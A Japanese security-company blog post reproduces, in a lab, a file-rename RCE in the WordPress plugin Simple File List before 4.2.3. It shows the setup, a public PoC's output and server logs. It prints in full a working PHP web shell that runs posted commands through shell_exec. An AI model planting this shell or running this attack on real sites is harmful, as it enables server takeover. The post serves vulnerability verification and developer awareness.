Armoris日記 Simple File List < 4.2.3 RCE編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

今週も検証の前にちょこっと宣伝

Armoris M氏『Armorisトレーニング、12月は標的型攻撃対応講座目白押しです!』
トレーニング一覧
M氏が気になる方はLet's OSINT☆

Simple File ListのRCEについて検証してみます

自分が管理するサーバー以外では絶対に試さないでください。また、検証は自己責任で行ってください。

今回検証するのはWordPressプラグインであるSimple File Listのファイル名変更機能の拡張子チェック漏れを悪用した攻撃です。
この脆弱性は、アップロードしたファイルのファイル名変更時に拡張子のチェックが行われていないことが原因で発生するものです。そのため、一度許可された拡張子のファイルをアップロードし、その後任意(.php, .html, etc...)のファイル拡張子に変更することでRCEが可能になります。

脆弱性情報:packet storm
該当プラグインSimple File List

影響を受けるバージョン:Simple File List < 4.2.3

検証環境

検証に使用した環境と各種バージョンは以下のとおりです。

Name Version
UbuntuServer 20.04
Simple File List 4.2.3
WordPress 5.5.3

検証環境の準備

まずはVagrantを使用してUbuntuServerの環境を構築します。

$ cat Vagrantfile 
Vagrant.configure(2) do |config|

config.vm.box = "generic/ubuntu2004"
config.vm.provider "libvirt"
config.vm.network "forwarded_port", guest: 80, host: 6282, host_ip: "172.20.100.120"
end
$ vagrant up

次に仮想環境のIPアドレスを確認してhostファイルを編集後にAnsibleを実行します。

$ vagrant ssh-config
Host default
  HostName 192.168.121.132
  User vagrant
  Port 22
  UserKnownHostsFile /dev/null
  StrictHostKeyChecking no
  PasswordAuthentication no
  IdentityFile /home/ubuntu/SimpleFileList/.vagrant/machines/default/libvirt/private_key
  IdentitiesOnly yes
  LogLevel FATAL
$ cat host
[server]
192.168.121.132 ansible_ssh_user=vagrant ansible_ssh_private_key_file=./.vagrant/machines/default/libvirt/private_key ansible_python_interpreter=/usr/bin/python3
$ ansible-playbook -i host wp.yml -v

今回は以下のymlファイルを使用しています。

WordPressの構築が完了したらアップロードフォルダの作成とパーミッションの設定をします。

$ vagrant ssh
vagrant@ubuntu2004:~$ mkdir -p /var/www/wordpress/wp-content/uploads/simple-file-list
vagrant@ubuntu2004:~$ sudo chown -R www-data:www-data /var/www/wordpress

ここまで完了したらプラグインを有効化して準備完了です。

検証

Armoris日記ではPoCは掲載しませんが、実際にいくつか実行可能なものが公開されています。今回はその中でPythonで書かれたものを試します。
PoC実行時にIPを指定してアップロードするファイルとプロトコルを対話形式で入力します。
検証に使用したPoCでは一度ファイル拡張子を.png形式に変更してからアップロードを行い、ファイル名変更機能でファイル拡張子を.phpに戻しています。

$ cat hack.php

$ python poc.py 192.168.121.132
[*] Enter File Name (working directory): hack.php
[*] Enter protocol (http/https): http
[+] File renamed to hack.png
[+] File uploaded at http://192.168.121.132/wp-content/uploads/simple-file-list/hack.png
[+] File moved to http://192.168.121.132/wp-content/uploads/simple-file-list/hack.php
[^-^] Exploit seems to have worked...
        URL: http://192.168.121.132/wp-content/uploads/simple-file-list/hack.php

PoC実行後に表示されるURLにアクセスするとPHP infoが実行されることが確認できます。

この時のApacheログを確認すると以下のようになっています。

192.168.121.132 - - "POST /wp-content/plugins/simple-file-list/ee-upload-engine.php HTTP/1.1" 200 210 "-" "python-requests/2.11.1"
192.168.121.132 - - "GET /wp-content/uploads/simple-file-list/hack.png HTTP/1.1" 200 306 "-" "python-requests/2.11.1"
192.168.121.132 - - "POST /wp-content/plugins/simple-file-list/ee-file-engine.php HTTP/1.1" 200 210 "http://172.20.100.120:6282/wp-admin/admin.php?page=ee-simple-file-list&tab=file_list&eeListID=1" "python-requests/2.11.1"

次にshell.phpを作成してRCEを試します。
WebShell参考元:Qiita

<?php
session_start();

if ($_POST["cmd"]) {
    $cmd= $_POST["cmd"];
    if ($_POST["cmd"] === "reset") {
        $_SESSION = [];
    } elseif (preg_match("/^cd\s/i", $_POST["cmd"])) {
        $_SESSION["history"] .= $_SESSION["path"]."<br>>".$_POST["cmd"]."<br>";
        $_SESSION["path"] = shell_exec($cmd." & @cd");
    } else {
        $_SESSION["history"] .= $_SESSION["path"]."<br>>".$_POST["cmd"]."<br><pre>".htmlspecialchars(mb_convert_encoding(shell_exec($cmd), "UTF-8"), ENT_QUOTES, "UTF-8", true)."</pre>";
    }
}
?>

<!DOCTYPE html>
<html lang="ja">
    <head>
       <meta charset="UTF-8">
       <title>WebShell</title>
       <style>
            *{
                color: #00ff00;
                font-size: 15px;
                font-family: Hack, monospace;
            }
            body{
                background-color: #000000;
            }
            input{
                border: 0px;
                background-color: transparent;
            }
        </style>
   
   </head>
    <body>
        <?php
            if (empty($_SESSION["history"])) $_SESSION["history"] = "";
            if (empty($_SESSION["path"])) $_SESSION["path"] = shell_exec("@cd");
            echo $_SESSION["history"];
            echo $_SESSION["path"]
        ?>
        <form method="POST">
            ><input autofocus type="text" name="cmd">
        </form>
    </body>
</html>

ファイルアップロード後にアクセスすると以下のようにRCEが成功することが確認できます。 f:id:Armoris:20201127154048p:plain 以上で検証終了です。

最後に

今回検証した脆弱性はよくあるアップロード時のファイル拡張子チェックの漏れではなく、名前変更機能のファイル拡張子チェックが行われていないことが原因でした。
アップロード時は開発時に気を使う部分だと思いますが、その他にもファイル操作に関連する処理にはできるだけ拡張子チェックなどを行うようにした方が良いと感じました。

私自身も開発時には気を付けていきたいと思います。

自分が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。